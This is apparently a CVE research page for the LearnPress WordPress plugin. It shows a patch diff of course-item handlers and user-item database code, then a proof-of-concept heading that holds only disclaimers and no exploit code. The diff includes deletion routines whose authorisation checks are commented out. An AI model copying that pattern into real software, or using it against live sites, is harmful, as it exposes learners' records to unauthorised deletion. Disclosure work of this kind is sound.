+			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id );
+			if ( ! $courseSectionModel ) {
+				throw new Exception( __( 'Section not found', 'learnpress' ) );
+			}
+
+			$sectionItemModel = CourseSectionItemModel::find( $section_id, $item_id );
+			if ( ! $sectionItemModel ) {
+				throw new Exception( __( 'Item not found in section', 'learnpress' ) );
+			}
+
+			/**
+			 * @var $itemModel PostModel
+			 */
+			$itemModel = $courseModel->get_item_model( $item_id, $item_type );
+			if ( ! $itemModel ) {
+				throw new Exception( __( 'Item not found', 'learnpress' ) );
+			}
+
+			$itemModel->post_title = $item_title;
+			$itemModel->save();
+
+			$courseModel->sections_items = null;
+			$courseModel->save();
+
+			$response->status  = 'success';
+			$response->message = __( 'Item updated successfully', 'learnpress' );
+		} catch ( Throwable $e ) {
+			$response->message = $e->getMessage();
+		}
+
+		wp_send_json( $response );
+	}
+
+	/**
+	 * Update item preview.
+	 *
+	 * JS file edit-section-item.js: function updatePreviewItem call this method.
+	 *
+	 * @since 4.2.8.6
+	 * @version 1.0.2
+	 */
+	public static function update_item_preview() {
+		$response = new LP_REST_Response();
+
+		try {
+			$data           = self::check_valid();
+			$course_id      = $data['course_id'] ?? 0;
+			$item_id        = $data['item_id'] ?? 0;
+			$item_type      = $data['item_type'] ?? '';
+			$enable_preview = $data['enable_preview'] ?? 0;
+
+			$courseModel = CourseModel::find( $course_id, true );
+			if ( ! $courseModel ) {
+				throw new Exception( __( 'Course not found', 'learnpress' ) );
+			}
+
+			if ( $item_type !== LP_LESSON_CPT ) {
+				throw new Exception( __( 'Only lesson can be set preview', 'learnpress' ) );
+			}
+
+			/**
+			 * @var $itemModel LessonPostModel
+			 */
+			$itemModel = $courseModel->get_item_model( $item_id, $item_type );
+			if ( ! $itemModel ) {
+				throw new Exception( __( 'Item not found', 'learnpress' ) );
+			}
+
+			$itemModel->set_preview( $enable_preview == 1 );
+
+			$response->status  = 'success';
+			$response->message = __( 'Item updated successfully', 'learnpress' );
+		} catch ( Throwable $e ) {
+			$response->message = $e->getMessage();
+		}
+
+		wp_send_json( $response );
+	}
+}
--- a/learnpress/inc/Databases/class-lp-course-db.php
+++ b/learnpress/inc/Databases/class-lp-course-db.php
@@ -555,7 +555,8 @@

 		// Title, do not distinguish diacritics
 		if ( $filter->post_title ) {
-			$filter->where[] = $this->wpdb->prepare( 'AND p.post_title COLLATE utf8mb4_unicode_ci LIKE %s', '%' . $filter->post_title . '%' );
+			//$filter->where[] = $this->wpdb->prepare( 'AND p.post_title COLLATE utf8mb4_unicode_ci LIKE %s', '%' . $filter->post_title . '%' );
+			$filter->where[] = $this->wpdb->prepare( 'AND p.post_title LIKE %s', '%' .$filter->post_title . '%' );
 		}

 		// Slug
--- a/learnpress/inc/Databases/class-lp-user-items-db.php
+++ b/learnpress/inc/Databases/class-lp-user-items-db.php
@@ -1,938 +1,938 @@
-<?php
-
-use LearnPressFiltersUserItemsFilter;
-use LearnPressModelsCourseModel;
-use LearnPressModelsUserItemsUserItemModel;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly
-}
-
-/**
- * Class LP_User_Items_DB
- *
- * @since 3.2.8.6
- * @version 1.0.5
- * @author tungnx
- */
-class LP_User_Items_DB extends LP_Database {
-
-	private static $_instance;
-	public static $user_item_id_col = 'learnpress_user_item_id';
-	public static $extra_value_col  = 'extra_value';
-
-	protected function __construct() {
-		parent::__construct();
-	}
-
-	public static function getInstance() {
-		if ( is_null( self::$_instance ) ) {
-			self::$_instance = new self();
-		}
-
-		return self::$_instance;
-	}
-
-	/**
-	 * Insert data
-	 *
-	 * @param array $data [ user_id, item_id, start_time, end_time, item_type, status, graduation, ref_id, ref_type, parent_id ]
-	 *
-	 * @return int
-	 * @throws Exception
-	 * @version 1.0.1
-	 * @since 4.2.5
-	 */
-	public function insert_data( array $data ): int {
-		$filter = new LP_User_Items_Filter();
-		foreach ( $data as $col_name => $value ) {
-			if ( ! in_array( $col_name, $filter->all_fields ) ) {
-				unset( $data[ $col_name ] );
-				continue;
-			}
-
-			if ( in_array( $col_name, [ 'start_time', 'end_time' ] ) && empty( $value ) ) {
-				unset( $data[ $col_name ] );
-			}
-		}
-
-		// Remove user_item_id (if exists) to insert new row, because user_item_id is auto increment.
-		unset( $data['user_item_id'] );
-
-		$this->wpdb->insert( $this->tb_lp_user_items, $data );
-
-		$this->check_execute_has_error();
-
-		return $this->wpdb->insert_id;
-	}
-
-	/**
-	 * Update data
-	 *
-	 * @param array $data [ 'user_item_id', user_id, item_id, start_time, end_time, item_type, status, graduation, ref_id, ref_type, parent_id ]
-	 * @return bool
-	 *
-	 * @throws Exception
-	 * @since 4.2.5
-	 * @version 1.0.0
-	 */
-	public function update_data( array $data ): bool {
-		if ( empty( $data['user_item_id'] ) ) {
-			throw new Exception( __( 'Invalid user item id!', 'learnpress' ) . ' | ' . __FUNCTION__ );
-		}
-
-		$filter             = new LP_User_Items_Filter();
-		$filter->collection = $this->tb_lp_user_items;
-		foreach ( $data as $col_name => $value ) {
-			if ( ! in_array( $col_name, $filter->all_fields ) ) {
-				continue;
-			}
-
-			if ( is_null( $value ) ) {
-				$filter->set[] = $col_name . ' = null';
-			} else {
-				$filter->set[] = $this->wpdb->prepare( $col_name . ' = %s', $value );
-			}
-		}
-		$filter->where[] = $this->wpdb->prepare( 'AND user_item_id = %d', $data['user_item_id'] );
-		$this->update_execute( $filter );
-
-		return true;
-	}
-
-	/**
-	 * Get users items
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter
-	 *
-	 * @return array|null|int|string
-	 * @throws Exception
-	 * @since 4.1.6.9
-	 * @version 1.0.5
-	 */
-	public function get_user_items( $filter, int &$total_rows = 0 ) {
-		$filter->fields = array_merge( $filter->all_fields, $filter->fields );
-
-		if ( empty( $filter->collection ) ) {
-			$filter->collection = $this->tb_lp_user_items;
-		}
-
-		if ( empty( $filter->collection_alias ) ) {
-			$filter->collection_alias = 'ui';
-		}
-
-		if ( ! empty( $filter->ref_id ) ) {
-			$filter->where[] = $this->wpdb->prepare( 'AND ui.ref_id = %d', $filter->ref_id );
-		}
-
-		if ( ! empty( $filter->ref_type ) ) {
-			$filter->where[] = $this->wpdb->prepare( 'AND ui.ref_type = %s', $filter->ref_type );
-		}
-
-		if ( ! empty( $filter->user_item_id ) ) {
-			$filter->where[] = $this->wpdb->prepare( 'AND ui.user_item_id = %d', $filter->user_item_id );
-		}
-
-		// Get by user_item_ids
-		if ( ! empty( $filter->user_item_ids ) ) {
-			$user_item_ids_format = LP_Helper::db_format_array( $filter->user_item_ids );
-			$filter->where[]      = $this->wpdb->prepare( 'AND ui.user_item_id IN (' . $user_item_ids_format . ')', $filter->user_item_ids );
-		}
-
-		if ( $filter->user_id !== false ) {
-			$filter->where[] = $this->wpdb->prepare( 'AND ui.user_id = %d', $filter->user_id );
-		}
-
-		if ( ! empty( $filter->item_type ) ) {
-			$filter->where[] = $this->wpdb->prepare( 'AND ui.item_type = %s', $filter->item_type );
-		}
-
-		if ( ! empty( $filter->item_ids ) ) {
-			$item_ids_format = LP_Helper::db_format_array( $filter->item_ids, '%d' );
-			$filter->where[] = $this->wpdb->prepare( 'AND ui.item_id IN (' . $item_ids_format . ')', $filter->item_ids );
-		}
-
-		if ( ! empty( $filter->item_id ) ) {
-			$filter->where[] = $this->wpdb->prepare( 'AND ui.item_id = %s', $filter->item_id );
-		}
-
-		if ( ! empty( $filter->status ) ) {
-			$filter->where[] = $this->wpdb->prepare( 'AND ui.status = %s', $filter->status );
-		}
-
-		if ( ! empty( $filter->graduation ) ) {
-			$filter->where[] = $this->wpdb->prepare( 'AND ui.graduation = %s', $filter->graduation );
-		}
-
-		if ( ! empty( $filter->parent_id ) ) {
-			$filter->where[] = $this->wpdb->prepare( 'AND ui.parent_id = %s', $filter->parent_id );
-		}
-
-		$filter = apply_filters( 'lp/user_items/query/filter', $filter );
-
-		return $this->execute( $filter, $total_rows );
-	}
-
-	/**
-	 * Get items by user_item_id | this is id where item_id = course_id
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter
-	 * @param bool $force_cache
-	 *
-	 * @return object
-	 * @throws Exception
-	 * Todo: tungnx need set paginate - apply when do load API
-	 */
-	public function get_user_course_items( $filter, bool $force_cache = false ) {
-		$key_first_cache    = 'course_items/' . $filter->user_id . '/' . $filter->parent_id;
-		$course_items_cache = LP_Cache::cache_load_first( 'get', $key_first_cache );
-		if ( false !== $course_items_cache && ! $force_cache ) {
-			return $course_items_cache;
-		}
-
-		$query = $this->wpdb->prepare(
-			"SELECT * FROM $this->tb_lp_user_items
-			WHERE parent_id = %d
-			AND ref_type = %s
-			AND user_id = %d
-			",
-			$filter->parent_id,
-			LP_COURSE_CPT,
-			$filter->user_id
-		);
-
-		$course_items = $this->wpdb->get_results( $query );
-
-		$this->check_execute_has_error();
-
-		LP_Cache::cache_load_first( 'set', $key_first_cache, $course_items );
-
-		return $course_items;
-	}
-
-	/**
-	 * Remove items' of course and user learned
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter .
-	 *
-	 * @return bool|int
-	 * @throws Exception .
-	 * @TODO tungnx - recheck this function
-	 */
-	public function remove_items_of_user_course( $filter ) {
-		$query_extra = '';
-
-		// Check valid user.
-		if ( ! is_user_logged_in() || ( ! current_user_can( ADMIN_ROLE ) && get_current_user_id() != $filter->user_id ) ) {
-			throw new Exception( __( 'Invalid user!', 'learnpress' ) . ' | ' . __FUNCTION__ );
-		}
-
-		if ( - 1 < $filter->limit ) {
-			$query_extra .= " LIMIT $filter->limit";
-		}
-
-		$query = $this->wpdb->prepare(
-			"DELETE FROM {$this->tb_lp_user_items}
-			WHERE parent_id = %d
-			$query_extra;
-			",
-			$filter->parent_id
-		);
-
-		return $this->wpdb->query( $query );
-	}
-
-	/*public function get_item_status( $item_id, $course_id ) {
-		$query = $this->wpdb->prepare(
-			"
-			SELECT status FROM {$this->tb_lp_user_items}
-			WHERE ref_id = %d
-			AND ref_type = %s
-			AND item_id = %d
-			",
-			$course_id,
-			'lp_course',
-			$item_id
-		);
-
-		return $this->wpdb->get_var( $query );
-	}*/
-
-	/**
-	 * Insert/Update extra value
-	 *
-	 * @param int    $user_item_id
-	 * @param string $meta_key
-	 * @param string $value
-	 * @since 4.0.0
-	 * @version 1.0.0
-	 * @author tungnx
-	 *
-	 * @return int|false The number of rows inserted|updated, or false on error.
-	 */
-	public function update_extra_value( $user_item_id = 0, $meta_key = '', $value = '' ) {
-		$result = false;
-
-		$data   = array(
-			'learnpress_user_item_id' => $user_item_id,
-			'meta_key'                => $meta_key,
-			'extra_value'             => $value,
-		);
-		$format = array( '%d', '%s', '%s' );
-
-		$check_exist_data = $this->wpdb->get_var(
-			$this->wpdb->prepare(
-				"
-				SELECT meta_id FROM $this->tb_lp_user_itemmeta
-				WHERE " . self::$user_item_id_col . ' = %d
-				AND meta_key = %s
-				',
-				$user_item_id,
-				$meta_key
-			)
-		);
-
-		if ( $check_exist_data ) {
-			$result = $this->wpdb->update(
-				$this->tb_lp_user_itemmeta,
-				$data,
-				array(
-					self::$user_item_id_col => $user_item_id,
-					'meta_key'              => $meta_key,
-				),
-				$format
-			);
-		} else {
-			$result = $this->wpdb->insert( $this->tb_lp_user_itemmeta, $data, $format );
-		}
-
-		return $result;
-	}
-
-	/**
-	 * Get extra value
-	 *
-	 * @param int    $user_item_id
-	 * @param string $meta_key
-	 */
-	public function get_extra_value( $user_item_id = 0, $meta_key = '' ) {
-		return $this->wpdb->get_var(
-			$this->wpdb->prepare(
-				'
-				SELECT ' . self::$extra_value_col . " FROM $this->tb_lp_user_itemmeta
-				WHERE " . self::$user_item_id_col . ' = %d
-				AND meta_key = %s
-				',
-				$user_item_id,
-				$meta_key
-			)
-		);
-	}
-
-	/**
-	 * Re-set current item
-	 * @param $course_id
-	 * @param $item_id
-	 * @editor hungkv
-	 */
-	public function reset_course_current_item( $course_id, $item_id ) {
-		// Select all course enrolled
-		$query         = $this->wpdb->prepare(
-			"
-						SELECT user_item_id
-						FROM {$this->wpdb->prefix}learnpress_user_items
-						WHERE status = %s AND item_id = %d AND graduation = %s
-						",
-			'enrolled',
-			$course_id,
-			'in-progress'
-		);
-		$user_item_ids = $this->wpdb->get_col( $query );
-		if ( ! empty( $user_item_ids ) ) {
-			foreach ( $user_item_ids as $user_item_id ) {
-				// Check item is current item of all course
-				$query         = $this->wpdb->prepare(
-					"
-							SELECT meta_value
-							FROM {$this->wpdb->prefix}learnpress_user_itemmeta
-							WHERE learnpress_user_item_id = %d
-							",
-					$user_item_id
-				);
-				$meta_value_id = $this->wpdb->get_var( $query );
-				// Check if the deleted item is current item or not
-				if ( $meta_value_id == $item_id ) {
-					$course = learn_press_get_course( $course_id );
-					// update _curent_item to database
-					learn_press_update_user_item_meta( $user_item_id, '_current_item', $course->get_first_item_id() );
-				}
-			}
-		}
-	}
-
-	/**
-	 * Get number status by status, graduation...
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter {user_id, item_type}
-	 *
-	 * @author tungnx
-	 * @since 4.1.5
-	 * @version 1.0.2
-	 * @return object|null
-	 * @throws Exception
-	 */
-	public function count_status_by_items( $filter ) {
-		$filter->only_fields[] = $this->wpdb->prepare( 'SUM(ui.graduation = %s) AS %s', LP_COURSE_GRADUATION_IN_PROGRESS, LP_COURSE_GRADUATION_IN_PROGRESS );
-		$filter->only_fields[] = $this->wpdb->prepare( 'SUM(ui.graduation = %s) AS %s', LP_COURSE_GRADUATION_FAILED, LP_COURSE_GRADUATION_FAILED );
-		$filter->only_fields[] = $this->wpdb->prepare( 'SUM(ui.graduation = %s) AS %s', LP_COURSE_GRADUATION_PASSED, LP_COURSE_GRADUATION_PASSED );
-		$filter->only_fields[] = $this->wpdb->prepare( 'SUM(ui.status = %s) AS %s', LP_COURSE_ENROLLED, LP_COURSE_ENROLLED );
-		$filter->only_fields[] = $this->wpdb->prepare( 'SUM(ui.status = %s) AS %s', LP_COURSE_PURCHASED, LP_COURSE_PURCHASED );
-		$filter->only_fields[] = $this->wpdb->prepare( 'SUM(ui.status = %s) AS %s', LP_COURSE_FINISHED, LP_COURSE_FINISHED );
-
-		if ( $filter->user_id ) {
-			$filter_user_attend_courses                      = new LP_User_Items_Filter();
-			$filter_user_attend_courses->only_fields         = array( 'MAX(ui.user_item_id) AS user_item_id' );
-			$filter_user_attend_courses->where[]             = $this->wpdb->prepare( 'AND ui.user_id = %s', $filter->user_id );
-			$filter_user_attend_courses->where[]             = $this->wpdb->prepare( 'AND ui.status != %s', UserItemModel::STATUS_CANCEL );
-			$filter_user_attend_courses->group_by            = 'ui.item_id';
-			$filter_user_attend_courses->return_string_query = true;
-			$query_get_course_attend                         = $this->get_user_courses( $filter_user_attend_courses );
-			$filter->where[]                                 = 'AND ui.user_item_id IN (' . $query_get_course_attend . ')';
-		}
-
-		$filter->return_string_query = true;
-
-		$filter = apply_filters( 'lp/user/course/query/count-status', $filter );
-
-		$query = $this->get_user_courses( $filter );
-
-		$this->check_execute_has_error();
-
-		return $this->wpdb->get_row( $query );
-	}
-
-	/**
-	 * Get the newest item is course of user
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter {course_id, user_id}
-	 * @param bool $force_cache Reset first cache
-	 *
-	 * @return null|object
-	 * @throws Exception
-	 */
-	public function get_last_user_course( $filter, bool $force_cache = false ) {
-		$query = $this->wpdb->prepare(
-			"SELECT user_item_id, user_id, item_id, item_type, status, graduation, ref_id, ref_type, start_time, end_time
-			FROM $this->tb_lp_user_items
-			WHERE item_type = %s
-			AND item_id = %d
-			AND user_id = %d
-			ORDER BY user_item_id DESC
-			LIMIT 1
-			",
-			LP_COURSE_CPT,
-			$filter->item_id,
-			$filter->user_id
-		);
-
-		$result = $this->wpdb->get_row( $query );
-
-		$this->check_execute_has_error();
-
-		return $result;
-	}
-
-	/**
-	 * Get item of user and course
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter {parent_id, item_id, user_id}
-	 * @param bool $force_cache Reset first cache
-	 *
-	 * @return null|object
-	 * @throws Exception
-	 */
-	public function get_user_course_item( $filter, bool $force_cache = false ) {
-		$key_load_first = 'user_course_item/' . $filter->user_id . '/' . $filter->item_id;
-		$user_course    = LP_Cache::cache_load_first( 'get', $key_load_first );
-
-		if ( false !== $user_course && ! $force_cache ) {
-			return $user_course;
-		}
-
-		$WHERE = 'WHERE 1=1 ';
-
-		if ( $filter->parent_id ) {
-			$WHERE .= $this->wpdb->prepare( 'AND parent_id = %d ', $filter->parent_id );
-		}
-
-		if ( $filter->ref_id ) {
-			$WHERE .= $this->wpdb->prepare( 'AND ref_id = %d ', $filter->ref_id );
-		}
-
-		if ( $filter->ref_type ) {
-			$WHERE .= $this->wpdb->prepare( 'AND ref_type = %s ', $filter->ref_type );
-		}
-
-		if ( $filter->item_type ) {
-			$WHERE .= $this->wpdb->prepare( 'AND item_type = %s ', $filter->item_type );
-		}
-
-		$query = $this->wpdb->prepare(
-			"SELECT user_item_id, user_id, item_id, item_type, status, graduation, ref_id, ref_type, start_time, end_time, parent_id
-			FROM $this->tb_lp_user_items
-			$WHERE
-			AND item_id = %d
-			AND user_id = %d
-			ORDER BY user_item_id DESC
-			LIMIT 1
-			",
-			$filter->item_id,
-			$filter->user_id
-		);
-
-		$result = $this->wpdb->get_row( $query );
-
-		$this->check_execute_has_error();
-
-		LP_Cache::cache_load_first( 'set', $key_load_first, $result );
-
-		return $result;
-	}
-
-	/**
-	 * Get items of course by item type
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter {$filter->parent_id, $filter->item_type, [$filter->item_id]}
-	 * @throws Exception
-	 */
-	public function get_user_course_items_by_item_type( $filter ) {
-
-		$AND = '';
-
-		if ( $filter->item_type ) {
-			$AND .= $this->wpdb->prepare( ' AND item_type = %s', $filter->item_type );
-		}
-
-		if ( $filter->item_id ) {
-			$AND .= $this->wpdb->prepare( ' AND item_id = %d', $filter->item_id );
-		}
-
-		$query = $this->wpdb->prepare(
-			"SELECT user_item_id, user_id, item_id, item_type, status, graduation, ref_id, ref_type, start_time, end_time, parent_id
-			FROM $this->tb_lp_user_items
-			WHERE parent_id = %d
-			$AND
-			",
-			$filter->parent_id
-		);
-
-		$result = $this->wpdb->{$filter->query_type}( $query );
-
-		$this->check_execute_has_error();
-
-		return $result;
-	}
-
-	/**
-	 * Get user_item_id by course_id
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter $filter->item_id
-	 *
-	 * @return array
-	 */
-	public function get_user_items_by_course( $filter ): array {
-		try {
-			// Check valid user.
-			if ( ! is_user_logged_in() ) {
-				throw new Exception( __( 'Invalid user!', 'learnpress' ) . ' | ' . __FUNCTION__ );
-			}
-
-			$query = $this->wpdb->prepare(
-				"SELECT user_item_id FROM $this->tb_lp_user_items
-				WHERE item_id = %d
-				AND item_type = %s
-				",
-				$filter->item_id,
-				LP_COURSE_CPT
-			);
-
-			return $this->wpdb->get_col( $query );
-		} catch ( Throwable $e ) {
-			error_log( __FUNCTION__ . ':' . $e->getMessage() );
-			return array();
-		}
-	}
-
-	/**
-	 * Get items of course has user
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter user_item_ids
-	 *
-	 * @throws Exception
-	 * @since 4.1.4
-	 * @version 1.0.0
-	 */
-	public function get_item_ids_of_user_course( $filter ): array {
-		if ( empty( $filter->user_item_ids ) ) {
-			return [];
-		}
-
-		$where = 'WHERE 1=1 ';
-
-		$where .= $this->wpdb->prepare(
-			'AND parent_id IN(' . LP_Helper::db_format_array( $filter->user_item_ids, '%d' ) . ')',
-			$filter->user_item_ids
-		);
-
-		return $this->wpdb->get_col(
-			"SELECT user_item_id FROM {$this->tb_lp_user_items}
-			{$where}
-			"
-		);
-	}
-
-	/**
-	 * Remove rows IN user_item_ids
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter $filter->user_item_ids, $filter->user_id
-	 *
-	 * @throws Exception
-	 * @since 4.1.4
-	 * @version 1.0.0
-	 */
-	public function remove_user_item_ids( $filter ) {
-		// Check valid user.
-		/*if ( ! is_user_logged_in() || ( ! current_user_can( ADMIN_ROLE ) && get_current_user_id() != $filter->user_id ) ) {
-			throw new Exception( __( 'User invalid!', 'learnpress' ) . ' | ' . __FUNCTION__ );
-		}*/
-
-		if ( empty( $filter->user_item_ids ) ) {
-			return 1;
-		}
-
-		$where = 'WHERE 1=1 ';
-
-		$where .= $this->wpdb->prepare(
-			'AND user_item_id IN(' . LP_Helper::db_format_array( $filter->user_item_ids, '%d' ) . ')',
-			$filter->user_item_ids
-		);
-
-		return $this->wpdb->query(
-			"DELETE FROM {$this->tb_lp_user_items}
-			{$where}
-			"
-		);
-	}
-
-	/**
-	 * Remove user_itemmeta has list user_item_ids
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter $filter->user_item_ids, $filter->user_id
-	 *
-	 * @throws Exception
-	 * @since 4.1.4
-	 * @version 1.0.0
-	 */
-	public function remove_user_itemmeta( $filter ) {
-		// Check valid user.
-		/*if ( ! is_user_logged_in() || ( ! current_user_can( ADMIN_ROLE ) && get_current_user_id() != $filter->user_id ) ) {
-			throw new Exception( __( 'User invalid!', 'learnpress' ) . ' | ' . __FUNCTION__ );
-		}*/
-
-		if ( empty( $filter->user_item_ids ) ) {
-			return 1;
-		}
-
-		$where = 'WHERE 1=1 ';
-
-		$where .= $this->wpdb->prepare(
-			'AND learnpress_user_item_id IN(' . LP_Helper::db_format_array( $filter->user_item_ids, '%d' ) . ')',
-			$filter->user_item_ids
-		);
-
-		return $this->wpdb->query(
-			"DELETE FROM {$this->tb_lp_user_itemmeta}
-			{$where}
-			"
-		);
-	}
-
-	/**
-	 * Delete user_item_ids by user_id and course_id
-	 *
-	 * @param int $user_id
-	 * @param int $course_id
-	 * @author tungnx
-	 * @since 4.1.4
-	 * @version 1.0.0
-	 */
-	public function delete_user_items_old( int $user_id = 0, int $course_id = 0 ) {
-		$lp_user_items_db     = LP_User_Items_DB::getInstance();
-		$lp_user_item_results = LP_User_Items_Result_DB::instance();
-
-		try {
-			// Check valid user.
-			/*if ( ! is_user_logged_in() || ( ! current_user_can( ADMIN_ROLE ) && get_current_user_id() != $user_id ) ) {
-				throw new Exception( __( 'User invalid!', 'learnpress' ) . ' | ' . __FUNCTION__ );
-			}*/
-
-			// Get all user_item_ids has user_id and course_id
-			$filter                      = new LP_User_Items_Filter();
-			$filter->user_id             = $user_id;
-			$filter->item_id             = $course_id;
-			$filter->item_type           = LP_COURSE_CPT;
-			$filter->only_fields         = [ 'user_item_id' ];
-			$filter->run_query_count     = false;
-			$filter->return_string_query = true;
-			$user_course_ids_query       = $lp_user_items_db->get_user_items( $filter );
-			$user_course_ids             = $this->wpdb->get_col( $user_course_ids_query );
-			if ( empty( $user_course_ids ) ) {
-				return;
-			}
-
-			$course = learn_press_get_course( $course_id );
-			if ( ! $course ) {
-				return;
-			}
-
-			$course->delete_user_item_and_result( $user_course_ids );
-
-			// Clear cache total students enrolled of one course.
-			$lp_course_cache = new LP_Course_Cache( true );
-			$lp_course_cache->clean_total_students_enrolled( $course_id );
-			$lp_course_cache->clean_total_students_enrolled_or_purchased( $course_id );
-			// Clear cache count students many courses.
-			$lp_courses_cache = new LP_Courses_Cache( true );
-			$lp_courses_cache->clear_cache_on_group( LP_Courses_Cache::KEYS_COUNT_STUDENT_COURSES );
-			// Clear cache user course.
-			$lp_user_items_cache = new LP_User_Items_Cache();
-			$lp_user_items_cache->clean_user_item(
-				[
-					$user_id,
-					$course_id,
-					LP_COURSE_CPT,
-				]
-			);
-			// Clear userCourseModel cache.
-			$key_cache         = "userCourseModel/find/{$user_id}/{$course_id}/" . LP_COURSE_CPT;
-			$lpUserCourseCache = new LP_Cache();
-			$lpUserCourseCache->clear( $key_cache );
-
-			do_action( 'learn-press/user-item-old/delete', $user_id, $course_id );
-		} catch ( Throwable $e ) {
-			error_log( __FUNCTION__ . ': ' . $e->getMessage() );
-		}
-	}
-
-	/**
-	 * Update user_id for lp_user_item with Order buy User Guest
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter
-	 *
-	 * @return bool|int
-	 * @throws Exception
-	 */
-	public function update_user_id_by_order( $filter ) {
-		// Check valid user.
-		if ( ! is_user_logged_in() || ( ! current_user_can( ADMIN_ROLE ) && get_current_user_id() != $filter->user_id ) ) {
-			throw new Exception( __FUNCTION__ . ': Invalid user!' );
-		}
-
-		$query = $this->wpdb->prepare(
-			"UPDATE {$this->tb_lp_user_items}
-			SET user_id = %d
-			WHERE ref_type = %s
-			AND ref_id = %d
-			",
-			$filter->user_id,
-			LP_ORDER_CPT,
-			$filter->ref_id
-		);
-
-		return $this->wpdb->query( $query );
-	}
-
-	/**
-	 * Count items by type and total by status
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter {parent_id, status, graduation}
-	 *
-	 * @throws Exception
-	 *
-	 * @return null|object
-	 */
-	public function count_items_of_course_with_status( $filter ) {
-		$item_types       = CourseModel::item_types_support();
-		$count_item_types = count( $item_types );
-		$i                = 0;
-
-		//$user_course = $this->get_last_user_course( $filter );
-
-		$query_count  = '';
-		$query_count .= $this->wpdb->prepare( 'SUM(ui.status = %s) AS count_status,', $filter->status );
-
-		foreach ( $item_types as $item_type ) {
-			++$i;
-			$query_count .= $this->wpdb->prepare( 'SUM(ui.status = %s AND ui.item_type = %s) AS %s,', $filter->status, $item_type, $item_type . '_status_' . $filter->status );
-			$query_count .= $this->wpdb->prepare( 'SUM(ui.graduation = %s AND ui.item_type = %s) AS %s', $filter->graduation, $item_type, $item_type . '_graduation_' . $filter->graduation );
-
-			if ( $i < $count_item_types ) {
-				$query_count .= ',';
-			}
-		}
-
-		$query = $this->wpdb->prepare(
-			'SELECT ' . $query_count . ' FROM ' . $this->tb_lp_user_items . ' ui
-			WHERE parent_id = %d
-			',
-			$filter->parent_id
-		);
-
-		$total_items = $this->wpdb->get_row( $query );
-
-		return $total_items;
-	}
-
-	/**
-	 * Get quizzes of user
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter
-	 * @param int $total_rows
-	 *
-	 * @return array|int|string|null
-	 * @throws Exception
-	 * @since 4.1.4.1
-	 * @version 1.0.2
-	 */
-	public function get_user_quizzes( $filter, int &$total_rows = 0 ) {
-		$filter->item_type = LP_QUIZ_CPT;
-		$filter->ref_type  = LP_COURSE_CPT;
-
-		return $this->get_user_items( $filter, $total_rows );
-	}
-
-	/**
-	 * Get courses only by course's user are learning
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter
-	 * @param int $total_rows
-	 *
-	 * @author tungnx
-	 * @version 1.0.2
-	 * @since 4.1.5
-	 * @return null|array|string|int
-	 * @throws Exception
-	 */
-	public function get_user_courses( $filter, int &$total_rows = 0 ) {
-		$filter->collection_alias = 'ui';
-
-		// Get courses publish, private
-		$filter->join[]    = "INNER JOIN {$this->tb_posts} AS p ON p.ID = $filter->collection_alias.item_id";
-		$filter->where[]   = $this->wpdb->prepare( 'AND ( p.post_status = %s OR p.post_status = %s )', 'publish', 'private' );
-		$filter->item_type = LP_COURSE_CPT;
-
-		$filter = apply_filters( 'lp/user/course/query/filter', $filter );
-
-		return $this->get_user_items( $filter, $total_rows );
-	}
-
-	/**
-	 * Get total users attend courses of Author
-	 *
-	 * @param int $author_id
-	 *
-	 * @return LP_User_Items_Filter
-	 * @since 4.1.6
-	 * @version 1.0.1
-	 * @throws Exception
-	 */
-	public function count_user_attend_courses_of_author( int $author_id ): LP_User_Items_Filter {
-		$filter_course                      = new LP_Course_Filter();
-		$filter_course->only_fields         = array( 'ID' );
-		$filter_course->post_author         = $author_id;
-		$filter_course->post_status         = [ 'publish', 'private' ];
-		$filter_course->return_string_query = true;
-		$query_courses_str                  = LP_Course_DB::getInstance()->get_courses( $filter_course );
-
-		$filter              = new LP_User_Items_Filter();
-		$filter->item_type   = LP_COURSE_CPT;
-		$filter->only_fields = array( 'ui.user_id' );
-		$filter->field_count = 'ui.user_id';
-		$filter->where[]     = "AND item_id IN ({$query_courses_str})";
-		$filter->query_count = true;
-
-		return apply_filters( 'lp/user/course/query/filter/count-users-attend-courses-of-author', $filter );
-	}
-
-	/**
-	 * Get list students attend
-	 *
-	 * @param LP_User_Items_Filter|UserItemsFilter $filter
-	 * @param int $total_rows
-	 *
-	 * @return array|int|string|null
-	 * @since 4.1.6.9
-	 * @throws Exception
-	 */
-	public function get_students( $filter, 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
